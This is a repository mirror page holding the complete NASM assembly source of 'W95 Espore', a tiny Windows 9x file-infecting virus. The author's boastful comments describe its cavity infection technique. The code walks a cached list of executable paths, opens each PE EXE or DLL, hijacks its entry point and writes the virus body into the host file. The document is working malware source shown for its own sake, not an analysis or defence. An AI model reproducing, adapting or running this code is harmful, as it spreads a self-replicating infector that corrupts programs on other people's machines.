mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
137 lines
3.6 KiB
NASM
137 lines
3.6 KiB
NASM
|
;---------------------------- W95 ESPORE BY HenKy -----------------------------
|
||
|
;
|
||
|
;-AUTHOR: HenKy
|
||
|
;
|
||
|
;-MAIL: HenKy_@latinmail.com
|
||
|
;
|
||
|
;-ORIGIN: SPAIN
|
||
|
;
|
||
|
|
||
|
; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)
|
||
|
|
||
|
; OF COURSE MIDFILE AND NO GROWING CAVITY TECH
|
||
|
|
||
|
; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)
|
||
|
|
||
|
|
||
|
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ
|
||
|
|
||
|
; PRIVILEGES
|
||
|
|
||
|
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||
|
|
||
|
; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL
|
||
|
|
||
|
; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )
|
||
|
|
||
|
.386P
|
||
|
.MODEL FLAT
|
||
|
LOCALS
|
||
|
|
||
|
EXTRN ExitProcess:PROC
|
||
|
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||
|
|
||
|
MACROSIZE MACRO
|
||
|
DB MIX_SIZ/00100 mod 10 + "0"
|
||
|
DB MIX_SIZ/00010 mod 10 + "0"
|
||
|
DB MIX_SIZ/00001 mod 10 + "0"
|
||
|
ENDM
|
||
|
.DATA
|
||
|
DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0
|
||
|
DB ' W9X ESPORE SIZE = '
|
||
|
MACROSIZE
|
||
|
|
||
|
.CODE
|
||
|
|
||
|
MEGAMIX: ; EDX: BUFFER
|
||
|
; EAX: EIP
|
||
|
; ECX: BUFFER
|
||
|
|
||
|
VINT21:
|
||
|
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||
|
DB 'H' ; HenKy ;P
|
||
|
XCHG EDI, EAX ; EDI: DELTA
|
||
|
MOV ESI,0C1000000H ; ESI: BUFFER
|
||
|
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||
|
|
||
|
;EDX: POINTER TO FNAME
|
||
|
|
||
|
MOV ECX,28500 ; LIMIT
|
||
|
PORK:
|
||
|
INC EDX
|
||
|
CMP WORD PTR [EDX],':C'
|
||
|
JE KAA
|
||
|
LOOP PORK
|
||
|
OK:
|
||
|
PUSH 00401000H
|
||
|
OLD_EIP EQU $-4
|
||
|
WARNING:
|
||
|
RET
|
||
|
KAA:
|
||
|
MOV AX, 3D02h
|
||
|
CALL [EDI]
|
||
|
XCHG EBX, EAX
|
||
|
PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI
|
||
|
CALL PHECT
|
||
|
POPAD
|
||
|
MOV AH, 3Eh
|
||
|
CALL [EDI]
|
||
|
JMP PORK
|
||
|
|
||
|
PHECT:
|
||
|
|
||
|
XOR ECX,ECX
|
||
|
MOV EDX, ESI
|
||
|
MOV AH, 3Fh
|
||
|
CALL R_W
|
||
|
MOV ECX, [ESI+3Ch]
|
||
|
LEA EAX, [ESI+ECX]
|
||
|
CMP BYTE PTR [EAX], "P"
|
||
|
JNE WARNING
|
||
|
MOV ECX,[EAX+28H]
|
||
|
CMP ECX, 1024
|
||
|
JB WARNING
|
||
|
PUSH EBP
|
||
|
ADD ECX,[EAX+34H]
|
||
|
MOV [EBP+OLD_EIP-MEGAMIX],ECX
|
||
|
MOV EDI,EAX
|
||
|
|
||
|
PORRO:
|
||
|
INC EDI
|
||
|
CMP BYTE PTR [EDI],'B' ; hehehehe
|
||
|
JNE PORRO
|
||
|
INC EDI
|
||
|
SUB EDI,ESI
|
||
|
MOV EDX,EDI
|
||
|
XCHG DWORD PTR [EAX+28h], EDI
|
||
|
LEA EDI, [ESI+EDX]
|
||
|
PUSH MIX_SIZ/4
|
||
|
POP ECX
|
||
|
POP EAX
|
||
|
PUSH EAX
|
||
|
XCHG ESI,EAX
|
||
|
REP MOVSD
|
||
|
POP EDI
|
||
|
MOV EDX, EAX
|
||
|
W:
|
||
|
MOV AH, 40h
|
||
|
R_W:
|
||
|
PUSHAD
|
||
|
XOR EAX,EAX
|
||
|
MOV AH, 42h
|
||
|
CDQ
|
||
|
CALL [EDI]
|
||
|
POPAD
|
||
|
MOV CH, 4h
|
||
|
CALL [EDI]
|
||
|
RET
|
||
|
|
||
|
ALIGN 4
|
||
|
FILE_END:
|
||
|
|
||
|
PUSH 0
|
||
|
CALL ExitProcess
|
||
|
|
||
|
END MEGAMIX
|
||
|
|